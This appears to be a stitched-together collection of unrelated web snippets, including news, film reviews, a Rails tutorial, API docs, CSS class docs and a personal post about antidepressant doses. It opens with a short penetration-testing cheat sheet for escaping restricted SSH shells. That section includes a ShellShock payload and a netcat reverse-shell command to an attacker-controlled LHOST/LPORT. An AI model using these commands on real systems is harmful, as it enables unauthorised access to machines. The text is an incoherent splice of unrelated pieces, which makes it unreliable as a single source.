ssh user@server -t "/bin/sh"
or start the shell without loading "rc" profice (where most limits are configured):
ssh user@server -t "bash --noprofile"
try ShellShock on vulnerable implementations
ssh user@server -t "() { :; }; /bin/bash"
try to execute other commands such as nc to get full shell
ssh user@server nc <LHOST> <LPORT> -e /bin/sh
-T Disable pseudo-tty allocation.
-t Force pseudo-tty allocation. This can be used to execute arbitrary
screen-based programs on a remote machine, which can be very useful,
e.g. when implementing menu services. Multiple -t options force tty
allocation, even if ssh has no local tty. (-tt)


Change the values. The cells have custom formatters set to display certain colors according to specific conditions:
- Gold if the number is positive
- Green if the number is bigger than 10
- Blue if the date is after 1990
Otherwise, the background color of the cell is red.


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Home Depot cuts outlook as 3Q revenue misses forecast
by MICHELLE CHAPMAN, AP Business WriterHome Depot had a rocky third quarter, with revenue and a key sales figure missing analysts' expectations.
The home improvement company also cut its forecasts for full-year revenue and comparable sales.
Shares dropped 5.8% before the market open on Tuesday.
For the three months ended Nov. 3, Home Depot Inc. earned $2.77 billion, or 2.53 per share. A year earlier, the Atlanta-based company earned $2.87 billion, or $2.51 per share.
The profit figure met the expectations of analysts surveyed by Zacks Investment Research.
Revenue, however, totaled $27.22 billion, below the $27.47 billion that Wall Street was looking for.
Comparable sales rose 3.6%, whereas analysts polled by FactSet had predicted a 4.7% increase.
Home Depot said it now anticipates fiscal 2019 sales will grow by approximately 1.8% and comparable sales will climb about 3.5%. Its previous guidance was for sales growth of 2.3% and comparable sales growth of 4%.
_____
Portions of this story were generated by Automated Insights (http://automatedinsights.com/ap) using data from Zacks Investment Research. Access a Zacks stock report on HD at https://www.zacks.com/ap/HD


Simple and secure Web API to check the quality of a proposed password.
Try it out below or call the service from your own app.
Make a GET request to /api/v1/passwords/{password}
to receive a rating and details about your password's strength.
curl https://password-rating.herokuapp.com/api/v1/passwords/{{ passwordText }}
Use the service all you want. Just behave yourself. No abuse. :-)


DEAD MAN WALKING A film review by Vince Deehan Copyright 1996 Vince Deehan
Director: Tim Robbins. Screenplay: Tim Robbins based on the book by Sister Helen Prejean Cast: Susan Sarandon, Sean Penn, Robert Prosky, Raymond J. Barry, R.Lee Ermey, Celia Weston and Roberta Maxwell. Release Date: March 29th 1996 (UK)
I have been waiting for DEAD MAN WALKING to be released here in the UK for many months now, and with all the high praise the film has received in the US I was very pleased to finally get a chance to see this fine film this week. Whilst I enjoyed the film a great deal, I did feel slightly disappointed, but this was probably inevitable considering the huge build up the film has received.
The film begins with a letter sent by a Death Row inmate, Matthew Poncelet (Sean Penn) to Sister Helen Prejean (Susan Sarandon) asking for her help. Matthew is facing the death penalty for his part in a rape and double murder of two teenagers, Hope Percy and Walter Delacroix (played by Missy Yager and Peter Sarsgaard, who we see in flashbacks). Matthew committed the crime with another fellow who has fortuitously been spared the death penalty. It is suggested in the film that at least one of them had to be seen to be given the death penalty and there is the suggestion that the other guy had a better lawyer
Matthew's family are poor and live very far away from the prison so are unable to visit Matthew very often, so Matthew is clearly pleased when Sister Helen comes to see him. Sister Helen has never counselled a death row inmate before and her awkwardness at their first meeting is brilliantly conveyed by Susan Sarandon. Matthew comes across as a bit of a tough nut who although not nearly as articulate as the more than likely better educated Sister Helen is still more than able to get his views across to her. At times though Matthew appears a bit slow, especially when in the run up to his imminent execution he gives a series interviews to the media where he lets forth his racist views and desires to bomb buildings. As Sister Helen tells him, he makes the mistake of making it very easy for people to hate him. Only later in the film does he finally realise the error of revealing to the media his leanings towards the views of Adolf Hitler.
During the film many people question Sister Helen's motives for helping Matthew. A particularly poignant moment occurs when the young black children she works with become quietly hostile to her after Matthew's racist views appear in print alongside her own name. I found myself constantly questioning her motives too, but quickly remembered that it was Matthew who asked her directly for help and she saw it as her duty to do her best for him, regardless of how appalling his crimes were. All along she tries to get Matthew to face up to his crime, which he is very reluctant to do. He constantly claims that whilst he was there, he never killed anyone. Sister Helen wants Matthew to admit his true part in the crime so that he can be honest with God and then face his death with dignity.
We also meet the parents of the murdered teenagers whose pain and torment is a lasting reminder of the horrific killing that Matthew was involved with. Sister Helen meets them for the first time at a hearing for Matthew where he tries and fails to get a reprieve from his death penalty. The father of the murdered boy, Mr Delacroix (Raymond J. Barry) confronts Sister Helen afterwards and tells her he is a Catholic and asks her why she is befriending and helping Matthew and not him and the other parents. Sister Helen is terribly flustered at this and admits that she hadn't thought they wanted her help. The anger felt by Mr Delacroix when she gives him her number and tells him to call her (and not her call him, as he would have hoped and expected) is very palpable and well conveyed by Raymond J. Barry.
When Sister Helen goes to visit the parents of the murdered girl, Clyde and Mary Beth Percy, they seem to accept her and welcome her presence. They talk lovingly of their daughter and really open their hearts to Sister Helen. But in one of the most powerful moments of the film they thank Sister Helen for coming round to their side. This moment when Sister Helen realises that they have assumed that she is no longer helping Matthew and has instead decided to help the relatives is very moving and takes Sister Helen by surprise and she is visibly shaken by what is happening. For me as a viewer I was left pretty shaken too, especially when Clyde (R. Lee Ermey) and Mary Beth Percy (Celia Weston) spell it out all too clearly when they tell her that she can't (in their opinion) be Matthew's friend and theirs too.
Early in the film, the lawyer that is helping Matthew, Hilton Barber (Robert Prosky), says that to get him off the death penalty they have to convince the authorities that they are dealing with a human being and not a monster. A monster being infinitely easier to execute than a three-dimensional human being. This is very true of the film as a whole, which through Tim Robbins' excellent script and brilliant acting by Sean Penn never leaves you in any doubt that whilst Matthew committed a terrible crime, he is still someone's brother and someone's son. This is powerfully conveyed in the scene where Matthew spends some time with his mother and three brothers in the hours before his execution. We see Matthew colluding with his brothers in teasing their youngest brother into admitting that he broke off an all night camping expedition in their back garden because he was scared by the sound of an animal he heard. The love between the whole family just shines off the screen.
The acting in this film is uniformly excellent, with Sarandon and Penn in particular giving the kind of exquisite performances that must make all other actors so proud to be in the same profession. Whilst I thought Nicolas Cage was excellent in LEAVING LAS VEGAS, I feel Sean Penn gave the better performance and it would have been nice to see Sarandon and Penn win both Best Actress and Best Actor at last weeks Oscars.
 Raymond J. Barry was also terrific as the father of the murdered boy, especially in the scene where he described the sheer joy of his marriage to his wife who was now divorcing him due to the conflicts which arose from the different ways they both grieved for their beloved son.
DEAD MAN WALKING is a film which tackles the difficult topic of the death penalty and bravely decides to show both sides of the argument, and never downplays the suffering of the people left behind, both the parents of the murdered teenagers and the family of the executed murderer.
Review written by Vince Deehan on Sun 31 March 1996<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Lying at the entrance of the LaHave river on Nova Scotia’s south-eastern shore, this town is only about 7 miles (as the crow flies) south of Lunenburg although nearer 25nm by sea.
It is an attractive town with its historic area having many restored 18th century buildings.
Position 44° 18.4’N, 64° 24.3' W.
The yacht club here provides sheltered berthing in the river.


| {{key | nameFilter:columns}} | {{value | unitFilter: key: columns}} |
| Undergraduate Headcount | {{selectedPoint.headcount }} |
| {{key | nameFilter:columns}} | {{value | unitFilter: key: columns}} |
| {{item.n}} | {{item.d}} |
| T. Hank Robinson-Ph.D | Producer, Research, Design |
| Jonah Williams | Development and Design |
| Jenny Liu-Ph.D | Research and Design |
| Byungwoo Shine Cho | Research and Design |
| Mahbubul Majumder-Ph.D | Design |


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The Location response header indicates the URL to redirect a page to. It only provides a meaning when served with a 3xx (redirection) or 201 (created) status response. The response contains the header with a link which should be discovered by security crawlers.


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GRAY'S ANATOMY A film review by Scott Renshaw Copyright 1997 Scott Renshaw
(Northern Arts) Starring: Spalding Gray. Screenplay: Spalding Gray. Producer: John Hardy. Director: Steven Soderbergh. MPAA Rating: PG (profanity, adult themes) Running Time: 85 minutes. Reviewed by Scott Renshaw.
The first five minutes of GRAY'S ANATOMY are as squirm-inducing as any five minutes of film you'll see this year. In a series of black-and-white talking head interviews, people describe every possible horror which could befall the human eye, including close calls with Super Glue, aneurisms and inch-long shards of metal.  It's a sensational set-up for an examination of the fragility of vision; if you've never worried about going blind before, you may be inspired to start.
Spalding Gray had to worry about it, and for all I know it was very traumatic. That's certainly not the impression you get from GRAY'S ANATOMY, however. GRAY'S ANATOMY is a staged monologue about Gray's experience dealing with a retinal disorder called a macular pucker, particularly the various alternative treatments he explores in an attempt to avoid surgery. Gray is one of America's finest story-tellers, and some of the stories about Native American sweat lodges and obsessive nutritionists are quite entertaining. But the story-telling is very detached; Gray's milieu is the ironic observation, not the soul-baring revelation. It's true that plenty of frightening things seem ridiculous with hindsight, but Gray shows us all the ridiculousness with little of the fear. The whole ordeal seems more like an amusing inconvenience than an existential crisis.
GRAY'S ANATOMY feels even more detached because of the way director Steven Soderbergh has chosen to stage it. This is the third of Gray's monologues to receive a film treatment, but it is the first to be filmed without a live audience. The advantage of that choice is that Soderbergh is free to create a surreal mood with arresting visuals. The disadvantage is that Gray seems adrift without an audience. He becomes a story-teller trying to be an actor, playing things too broadly in an attempt to generate the energy he can't draw from audience reaction. Like fellow story-teller Garrison Keillor, Gray's strength is a straightforward delivery which makes you laugh without _signaling_ you to laugh. GRAY'S ANATOMY is like "A Prairie Home Companion" turned into a performance art piece.
Soderbergh is a gifted director (SEX, LIES AND VIDEOTAPE; KING OF THE HILL); Gray is a gifted monologist (SWIMMING TO CAMBODIA). They're just not a very good match for the creation of a film. Soderbergh's direction creates an intensity of mood which Gray's stoic demeanor can't sustain, and Gray's ability to wow an audience while sitting in front of a microphone is undercut by Soderbergh's visual theatrics. The absurdity of some of the stories in GRAY'S ANATOMY is bound to generate some laughs, but while you're chuckling at the stories you may feel there's something missing, something the opening five minutes promises but doesn't deliver. In this case, the eyes just don't have it.
On the Renshaw scale of 0 to 10 eye messages: 5.
Visit Scott Renshaw's MoviePage http://www-leland.stanford.edu/~srenshaw Subscribe to receive reviews directly via email See details on the MoviePage
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Rapid Prototyping with Rails: Lesson 2, part 2
07 Oct 2014Topics Covered:
- Validation
- Errors
- General Create Pattern
- Update Path
- Form Partial
- Before_action
- Nested Resources
Validations
are added always at the model layer:
class Post < ActiveRecord::Base
has_many :comments
validates :title, :presence true
end
Now if you go into the rails console and do Post.new without a title, an error will not occur until you try to hit the database, so either Post.save or Post.create.
When you try to do so, the console will return "False". This is because, there is an if clause in the create method. See below. Running post.errors in your console will print out an array called ActiveModel Errors and will tell you all fields that require validation... in other words.. can't be blank.
def create
@post = Post.new(post_params)
if @post.save
flash[:notice] = "Your post was created."
redirect_to posts_path
else
render 'new'
end
end
Errors
post.errors will generate an array. If you want to parse out the messages... type post.errors.full_messages
If post.save/post.create is unsuccessful, then you will 'render' the new form. You will 'render' and not 'redirect' becasue we need to access the errors on the instance variable in order to display the errors. When the validations arent met and it fails to save, save, false is returned in the console and the errors array is populated. However, as it stands, the new form will be rendered.
How to display the Errors (Rails Backed Forms Only)

 Creating a Post

<% if @post.errors.any? %>

 There were some errors:

<% @post.errors.full_messages.each do |msg|

<% msg %>

<% end %>

<% end %>

 Rails model-backed form helpers

<%= form_for @post do |f| %> # @post could also be Post.new
<%= f.label :title %>
<%= f.text_field :title %>
<%= f.label :url %>
<% f.text_field :title %>

<%= f.submit "Create Post", class: 'btn btn-primary' %>
<% end %>
Field with Errors
Rails creates a div class to allow you to easily point out or style your fields with errors called "div class = fields with errors"
Form_for does alot of guessing It guesses that New forms should go to /'posts'
If you:
<%= form_for @post do |f| %> # @post could also be Post.new
If you:
<%= form_for Post.first do |f| %> # Will bring up the first Post object
When doing so, that Post.first is calling method='POST' with a route of '/posts/id' - which is not a listed route, therefore should not be valid.
But instead of erroring out, it is going to the post/update controller action.
Why?
This is bc the in addition to the Utf8 and the authenticity token, there is hidden method called _method = 'patch'
_method is what Rails uses to determine which HTTP verb is used in the routes file or input method. This is because not every browser supports all HTTP methods, just most likely GET and POST.
If the object is an existing object, Rails will automatically give it an _method = "PATCH" and the route will become '/post/id'
The new post form and the edit post form can be identical because method in formfor will take care of it.
Now you can create a partial to extract the form code that will be used for both new and update partials
So now: 1. Create a partial called _form.html.erb under posts 2. Extract common code
_form.html.erb
<% if @post.errors.any? %>

 There were some errors:

<% @post.errors.full_messages.each do |msg|

<% msg %>

<% end %>

<% end %>

 Rails model-backed form helpers

<%= form_for @post do |f| %> # @post could also be Post.new
<%= f.label :title %>
<%= f.text_field :title %>
<%= f.label :url %>
<%= f.text_field :title %>

<%=<EMAIL_ADDRESS>? "Create Post" : "Update Post", class:
'btn btn-primary' %>
<% end %>
- Then update new_html.erb

 Creating a Post

<%= render 'form' %>
- Then do the same for edit.html.erb

 Edit a Post

<%= render 'form' %>
BUT you must also ensure that you have all your necessary instance variables
created so in your controller
def edit
@post = Post.find(params[:id])
end
which will route to 'post/:id/edit'... named route edit_post_path(post)
UPDATE
def update
@post = Post.find(params[:id])
if @post.update(post_params)
flash[:notice] = "The post has been updated"
redirect_to posts_path
else
render :edit
end
end
Remember since your _form.html.erb is being used by four actions: new, create, edit, and update, So you have to make sure you have @post defined in each action in your controller or an exception will be thrown. Consequences of dry.
Before_action
For Rails 4, its beforeaction For Rails 3, its beforefilter
Since we are using @post = Post.find(params[:id]) several times in our controller by various actions (show, edit, and update), we should create a method called setpost and pass it the beforeaction, then we can remove @post from those
class PostController < ApplicationController
before_action :set_post, only: [:show, :edit, :update]
def show
end
def edit
end
def update
end
def set_post
@post = Post.find(params[:id])
end
end
We use before_actions for two reasons 1. Set up an instance variable 2. Set up a redirect based on some condition (authentication)
Nested Resources
Nested Routes
- Redirect => URL
- Render => template
How to create a comment on the Show Post page:
Routes File:
resources :posts, except: [:destroy] do
resources :comments, only: [:create]
end
show.html.erb (show posts page)

 Create a Comment

<%= form_for [@post, @ comment] %>
<%= f.text_area :body %>

<%= f.submit "Create Comment" class: "btn btn-primary" %>
<% end %>
'/posts/3/comments' * We are trying to @post must be an existing post and @comment has to be an existing comment.
PostsController.rb
def show
@comment = Comment.new
end
Create a CommentsController
comments_controller.rb
class CommentsController < ApplicationController
def create
@post = Post.new(params[:post_id]) #Always run params in binding.pry (in your controller) to check the attribute name. Nested routes always have the parent route appended to the id, therefore it would be 'post_id'
@comment = Comment.new(params.require(:comment).permit(:body))
#we could also associate comment and post
@comment.post = @post.comments
or
you could change the above line for @ comments to create an in memory post.comment
object with that has the post_id already filled out.
@comment = @post.comments.build(params.require(:comment).permit(:body))
if @comment.save
flash[:notice] = "Your comment was added"
redirect_to post_path(@post)
else
render 'posts/show' #must be a template file... you are trying to indicate
where the file is located
end
end
#typially, we would just create a seperate method for comment_params, we aren't doing
that because we aren't trying to reuse this line of code for the Update action, only create.
end
CRUD
CRUD is an acronym that stands for "create", "retrieve", "update" and "delete". You'll hear many developers say something like "we just need a CRUD web interface for tickets". This is what Rails gives us out of the box: an ability to perform basic CRUD actions on a resource as a web application. Below is how the default Rails actions map to CRUD:
- Create: new, create
- Retrieve: index, show
- Update: edit, update
- Delete: destroy
Render vs Redirect
You should also understand what a render is vs a redirect. Render compiles the template into HTML and sends the HTML back as part of the response. Redirect sends back a URL as part of the response; there's no HTML in a redirect. Most browsers follow the redirected URL automatically, and a new request is issued. All redirects will eventually lead to rendering of some template, otherwise your browser will display a "too many redirects" error.
Why does the URL stay at /posts when there's a validation error? Shouldn't it be /posts/new?
The request URL is what's showing up in the address bar, not the response. The response is processed by your browser. The request URL is shown in the address bar.
In the case of a new post form submission, the request URL is /posts. This has nothing to do with the response sent back. The URL only changes on successful post creation because in that case the response is a redirect, and your browser issues a new request, which changes the address bar.


Program your inbox with python!
A collection of emails
Return a number of messages at the Mmail object.
| Parameter | ||
|---|---|---|
flags |
list of string | Add flags to messages flags should be a sequence of strings. |
Copy one or more messages to dst_folder
.
| Parameter | ||
|---|---|---|
dst_folder |
string |
Mark messages as read or unread
| Parameter | ||
|---|---|---|
read |
boolean | Mark as read if read is True , otherwise unread |
| Parameter | ||
|---|---|---|
dst_folder |
string | Move these messages to dst_folder |
Remove one or more flags from messages in the currently selected folder.
| Parameter | ||
|---|---|---|
flags |
list of string | Remove flags to messages flags should be a sequence of strings. |
Return a number of messages at the Mmail object.
print m.get_count()
>> 3
Return a list of senders at the Mmail object.
print m.get_senders()
>> ["Free food<EMAIL_ADDRESS>"Amy Zhang<EMAIL_ADDRESS>"David Karger<EMAIL_ADDRESS>Return a list of recipients at the Mmail object.
print m.get_recipients()
>> ["Soya Park<EMAIL_ADDRESS>"Amy Zhang<EMAIL_ADDRESS>"David Karger<EMAIL_ADDRESS>Return emails which have attachments.
Return a content of emails at the Mmail object.
Return flags of the messages at the Mmail object.
print m.get_flags()
>> {msgid1: ["important", "\\Seen"], msgid2: ..}
Return a list of subject of the messages at the Mmail object
print m.get_subjects()
>> ["Free food at G5!", "Please read my draft", "FINAL HOURS: 20% OFF Sitewide!"]
Fire every time a new email has been arrived.
| Parameter | ||
|---|---|---|
doAction |
callable | doAction will be passed a Mmail object which contains an incoming email |
def doAction(email):
if "action required" in email.get_subjects()[0]:
<EMAIL_ADDRESS>"Check inbox!", email.getContent()[0])
onArrive(doAction, ["INBOX", "folder1"])
Fire and execute doAction
once when time is up. If you are looking for a function for recurring events, check repeat
| Parameter | ||
|---|---|---|
doAction |
callable | doAction will be passed a Mmail object which contains a pile of incoming emails during the time span. |
minutes | hours |
number | This parameter could be in minutes or hours. In minutes by default. |
def doAction(emails):
email_content = "\n".join( emails.get_subjects() )
<EMAIL_ADDRESS>"Murmur: Hourly digest", email_content)
onTime(doAction, 60)
Fire when user-defined condition is met. If you enable this feature, your email clients don't give you notification until your defined queue is full. Once queue is full, it gives one notification that the targeted email has arrived, empty the queue and then repeat the process.
| Parameter | ||
|---|---|---|
doAction |
callable | doAction is executed every interval |
cond |
function | cond will be passed a Mmail object which captures incoming emails after the event onCustom() has been installed. cond should return boolean value, True when the queue should be flushed and False otherwise.
It must not be null. |
def doAction(emails_at_queue):
email_content = "\n".join( emails_at_queue.get_subjects() )
<EMAIL_ADDRESS>"Murmur: Full queue", email_content)
def cond(emails_at_queue):
if emails_at_queue.getCount() >= 5:
return True
return False
onCustom(doAction, cond, ["INBOX", "folder1"])
Create a new message and append at a folder
| Parameter | ||
|---|---|---|
folder |
string | A name of new folder |
Create a new message and append at a folder
| Parameter | ||
|---|---|---|
subject |
string | |
content |
string | |
folder |
string | The created message will be appended at folder . "INBOX" by default. |
Delete a folder and messages in the folder.
| Parameter | ||
|---|---|---|
folder |
string | A name of folder to be deleted. |
| Parameter | ||
|---|---|---|
doAction |
callable | doAction is executed every given interval. |
minutes | hours |
number | This parameter could be in minutes or hours. In minutes by default. |
def doAction(emails):
email_content = "\n".join( emails.get_subjects() )
<EMAIL_ADDRESS>"Murmur: Hourly digest", email_content)
repeat(doAction, minutes = 60)
| Parameter | ||
|---|---|---|
doAction |
callable | doAction is executed every given interval. |
minutes | hours |
number | This parameter could be in minutes or hours. In minutes by default. |
def doAction(emails):
email_content = "\n".join( emails.get_subjects() )
<EMAIL_ADDRESS>"Murmur: Hourly digest", email_content)
repeat(doAction, minutes = 60)
Rename a name of folder with a new name
| Parameter | ||
|---|---|---|
old_name |
string | A name of existing folder |
new_name |
string | A new name for old_name folder |
Search messages which are met the given condition. Returns a Mmail
object.
| Parameter | ||
|---|---|---|
search_creteria |
dictionary | Search by email fields e.g, sender, receipient, subject, content, flags.. |
folder |
list of string | Which folder to search for. |
search({"from": "soya", "subject": "free food", "received_since": "~~"}, ["INBOX"])
Send an email
| Parameter | ||
|---|---|---|
to_addr |
string | Receipient address |
subject |
string | A subjet of email |
content |
string | Content of email |
admin |
boolean | if True , the email is sent by our admin address. Otherwise, from your own email address. |


openMINDS currently exists in the following versions: {% for tag in allTags %}
{% endfor %}
Here are the development states of the corresponding versions:
{% for version in allVersions %}
openMINDS currently exists in the following versions: {% for tag in allTags %}
{% endfor %}
Here are the development states of the corresponding versions:
{% for version in allVersions %}


--- title: FAQ layout: default permalink: /en/faq/ ref: faq lang: en --- {% include breadcrumbs.html %}
The open data portal is intended to serve as a platform for the dissemination of data by public bodies and for searching and retrieving such datasets by open data users.
On the open data portal, it is possible:
Opening up data and their collection, storage and dissemination serves the following important goals:
The publication of data created by public sector bodies serves many purposes, most importantly allowing private individuals, companies and third sector bodies simply to examine the existing data or to use it in their software applications to create value added.
All datasets which are created by government agencies and local authorities, whose public use is not directly forbidden and which contain other data than personal data are to be made public. If the datasets contain both personal and non-personal data, only the non-personal parts of the data will be made public.
In particular, the data in the datasets to be published should in general be created, collected or administered by a government agency or local authority. A government agency or a local authority may, with the consent of a third party, also publish the data of that third party if it considers it to be of sufficient interest to the public.
Two goals must be balanced while publishing datasets:
Public sector data shall be considered open if it is made public in a way that complies with the principles below: https://opengovdata.org/ ):
1. Complete
All public data is made available. Public data is data that is not subject to valid privacy, security or privilege limitations.
2. Primary
Data is as collected at the source, with the highest possible level of granularity, not in aggregate or modified forms.
3. Timely
Data is made available as quickly as necessary to preserve the value of the data.
4. Accessible
Data is available to the widest range of users for the widest range of purposes.
5.
Machine Readable
Data is reasonably structured to allow automated processing.
6. Non-discriminatory
Data is available to anyone, with no requirement of registration.
7. Non-propietary
Data is available in a format over which no entity has exclusive control.
8. License free
Data is not subject to any copyright, patent, trademark or trade secret regulation. Reasonable privacy, security and privilege restrictions may be allowed.
The published data will not identify or provide ways to identify individuals, unless that information is already published (such as the names of the civil servants working at the ministries).
The open data must published under a licence which permits its free and unlimited use, processing and distribution. Under the licence, it must be possible to distribute the data at the discretion of the user either without charge or for a fee.
We recommend that you pick a Creative Commons licence, see https://creativecommons.org/. From among the licences listed on the site, we recommend the CC by 3.0 licence: https://creativecommons.org/licenses/by/3.0/
Reuse of data for commercial purposes is permitted. We will be more than delighted if profitable services are created using our data.
As a principle, it is better to publish the data in an inconvenient format than to leave it unpublished at first and wait for a planned improvement in its encoding in the future. A published dataset can always be republished in a new and better encoding. We recommend that you publish your open data at least in a 3-star format.
The system of the Five Stars of Openness was developed in the UK by Tim Berners-Lee and we follow exactly the same scoring and goals: more stars means better format/encoding for the user. For examples and further information: http://5stardata.info/en/
If you want to understand how to use open data, then please look here: Helsinki Region Infoshare
We use GitHub.com for discussing open data in Estonia opendata tracker. Here you are able to add comments, applications, blog posts, and provide suggestions/requests for new datasets.
Certainly! As the work on the project progresses, new open data will be added to the portal and the portal will also be linked to the open data portals of other countries.


Static Semantics: Early Errors
Script : ScriptBody
-
It is a Syntax Error if the LexicallyDeclaredNames of |ScriptBody| contains any duplicate entries.
-
It is a Syntax Error if any element of the LexicallyDeclaredNames of |ScriptBody| also occurs in the VarDeclaredNames of |ScriptBody|.
ScriptBody : StatementList
-
It is a Syntax Error if |StatementList| Contains `super` unless the source code containing `super` is eval code that is being processed by a direct eval. Additional early error rules for `super` within direct eval are defined in .
-
It is a Syntax Error if |StatementList| Contains |ClassProperty| unless the source code containing |ClassProperty| is eval code that is being processed by a direct eval. Additional early error rules for |ClassProperty| within direct eval are defined in .
-
It is a Syntax Error if |StatementList| Contains |NewTarget| unless the source code containing |NewTarget| is eval code that is being processed by a direct eval. Additional early error rules for |NewTarget| in direct eval are defined in .
-
It is a Syntax Error if ContainsDuplicateLabels of |StatementList| with argument « » is *true*.
-
It is a Syntax Error if ContainsUndefinedBreakTarget of |StatementList| with argument « » is *true*.
-
It is a Syntax Error if ContainsUndefinedContinueTarget of |StatementList| with arguments « » and « » is *true*.


Convey meaning through color with a handful of emphasis utility classes. These may also be applied to links and will darken on hover just like our default link styles.
| Example | Classes | Snippet |
|---|---|---|
|
Fusce dapibus, tellus ac cursus commodo, tortor mauris nibh. |
.text-muted |
|
|
Nullam id dolor id nibh ultricies vehicula ut id elit. |
.text-primary |
|
|
Duis mollis, est non commodo luctus, nisi erat porttitor ligula. |
.text-success |
|
|
Maecenas sed diam eget risus varius blandit sit amet non magna. |
.text-info |
|
|
Fusce dapibus, tellus ac cursus commodo, tortor mauris nibh. |
.text-warning |
|
|
Donec ullamcorper nulla non metus auctor fringilla. |
.text-danger |
|
Contextual text color classes, easily set the background of an element to any contextual class. Anchor components will darken on hover, just like the text classes.
| Example | Classes | Snippet |
|---|---|---|
| Nullam id dolor id nibh ultricies vehicula ut id elit. | .bg-primary |
|
| Duis mollis, est non commodo luctus, nisi erat porttitor ligula. | .bg-success |
|
| Maecenas sed diam eget risus varius blandit sit amet non magna. | .bg-info |
|
| Fusce dapibus, tellus ac cursus commodo, tortor mauris nibh. | .bg-warning |
|
| Donec ullamcorper nulla non metus auctor fringilla. | .bg-danger |
|
Easily realign text to components with text alignment classes.
| Example | Classes | Snippet |
|---|---|---|
|
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s. |
.text-justify |
|
|
It is a long established fact that a reader. |
.text-nowrap |
|
For left, right, and center alignment, responsive classes are available that use the same viewport width breakpoints as the grid system.
| Example | Classes | Snippet |
|---|---|---|
|
Left aligned text on all viewport sizes. |
.text-left |
|
|
Center aligned text on all viewport sizes. |
.text-center |
|
|
Right aligned text on all viewport sizes. |
.text-right |
|
Transform text in components with text capitalization classes.
Note how text-capitalize
only changes the first letter of each word, leaving the case of any other letters unaffected.
| Example | Classes | Snippet |
|---|---|---|
|
Lowercased text. |
.text-lowercase |
|
|
Uppercased text. |
.text-uppercase |
|
|
CapiTaliZed text. |
.text-capitalize |
|
Apex Admin provide font large & small sizes variant classes to change font size.
| Example | Classes | Snippet |
|---|---|---|
|
Large text size. |
.font-large-3
|
|
|
Large text size. |
.font-large-2
|
|
|
Large text size. |
.font-large-1
|
|
|
Medium text size. |
.font-medium-3
|
|
|
Medium text size. |
.font-medium-2
|
|
|
Medium text size. |
.font-medium-1
|
|
|
Normal base text size. |
N/A |
|
|
Small text size. |
.font-small-3
|
|
|
Small text size. |
.font-small-2
|
|
|
Small text size. |
.font-small-1
|
|
Apex Admin provide font weight class .text-bold-{weight}
, where {weight} value can be 100,200 ... 900.
| Example | Classes | Snippet |
|---|---|---|
|
Font weight 300 |
.text-bold-300 |
|
|
Font weight 400 |
.text-bold-400 |
|
|
Font weight 600 |
.text-bold-600 |
|
|
Font weight 700 |
.text-bold-700 |
|
Styling for common inline HTML5 elements.
.mark
and .small
classes are
also available to apply the same styles as <mark>
and
<small>
while avoiding any unwanted semantic implications that the tags would bring.
While not shown above, feel free to use <b>
and <i>
in HTML5. <b>
is meant to highlight words or phrases without
conveying additional importance while <i>
is mostly for
voice, technical terms, etc.
| Example | Snippet |
|---|---|
|
You can use the mark tag to highlight text. |
|
|
|
|
|
|
|
|
This line of text is meant to be treated as an addition to the document. |
|
|
This line of text will render as underlined |
|
|
This line of text is meant to be treated as fine print. |
|
|
This line rendered as bold text. |
|
|
This line rendered as italicized text. |
|
|
Sample abbreviation |
|
|
Sample HTML title. |
|
| y = m x + b |
|
|
Edit settings, press ctrl + , |
|
| This text is meant to be treated as sample output from a computer program. |
|
Inline code snippet
|
|


Navigation
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Reeborg's World
和乐跑一起学 Python
Previous topic
Programming exercises
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1. Quick tour of Reeborg’s World
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Reeborg’s World Reference
¶
1. Quick tour of Reeborg’s World
1.1. Running programs
1.2. Receiving feedback
1.3. Creating new worlds and tasks
2. Basic commands
2.1. Movement
2.1.1.
move()
2.1.2.
turn_left()
2.2. Handling objects
2.2.1.
take()
2.2.2.
put()
2.3. Getting information about the world around
2.3.1.
is_facing_north()
2.3.2.
at_goal()
2.3.3.
front_is_clear()
2.3.4.
right_is_clear()
2.3.5.
object_here()
2.3.6.
carries_object()
2.4. Interruptions
2.4.1.
pause()
2.4.2.
done()
2.4.3.
think()
2.5. Changing the world
2.5.1.
build_wall()
3. Objects, background images, etc.
3.1. Basic objects
3.2. Decorative objets
3.3. Background tiles
3.4. Background image
3.5. Special objects
3.6. Goals
4. Sokoban
4.1. Sokoban and Reeborg’s World
4.2. More challenges
4.3. Why sokoban?
4.4. Sokoban for advanced students
5. Custom worlds: making them available
5.1. Default worlds
5.2. Creating worlds
5.3. Using Permalinks
5.4. Using the
World()
function
5.5. Creating custom menus
6. Advanced features
6.1. Simple task
6.2. Different traces: style
6.3. Different traces: color
6.4. Different robot models
6.5. Random worlds
6.6. Adding code to be run in addition to user’s program
6.7. Replacing the default robot
6.8. Easy collaboration with TogetherJS
6.9. Stepping back and forth through program execution
6.10. Easy support for multiple human languages
6.11. Using Python’s standard library
6.12. Possibility to write programs using different languages
6.13. Embedding in an iframe
6.14. Possibility to integrate within a Learning Management System
6.15. Changing the User Interface
7. Current weaknesses
7.1. Inadequate support for input()
7.2. Occasional problems with code highlighting
7.3. No gamification
7.4. Not trivially easy to create a copy on a school’s website
7.5. Feedback for programming errors could be improved
8. Comparison with other implementations
8.1. First, Reeborg’s World
8.2. Karel the robot
8.3. Karel++
8.4. Monty Karel
8.5. Karel J. Robot
8.6. Guido van Robot
8.7. Code Combat
9. Graphical canvas
10. Mazes
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Reeborg's World
和乐跑一起学 Python


I'm now up to 300mg a day of Effexor.  I have had a lot of addictive drugs in my days but this one has some shitty side effects.
I have been on it for quite some time now and soon I'm going to be put on 450mg a day. I can't stop this because of a standing order that I have anti-depressants or I get to battle for my sanity in court. Aside from that, this drug does help. At first. Then it fades away. Eventually, I'm sure I could take 2000mg a day and still lay in bed half the day.
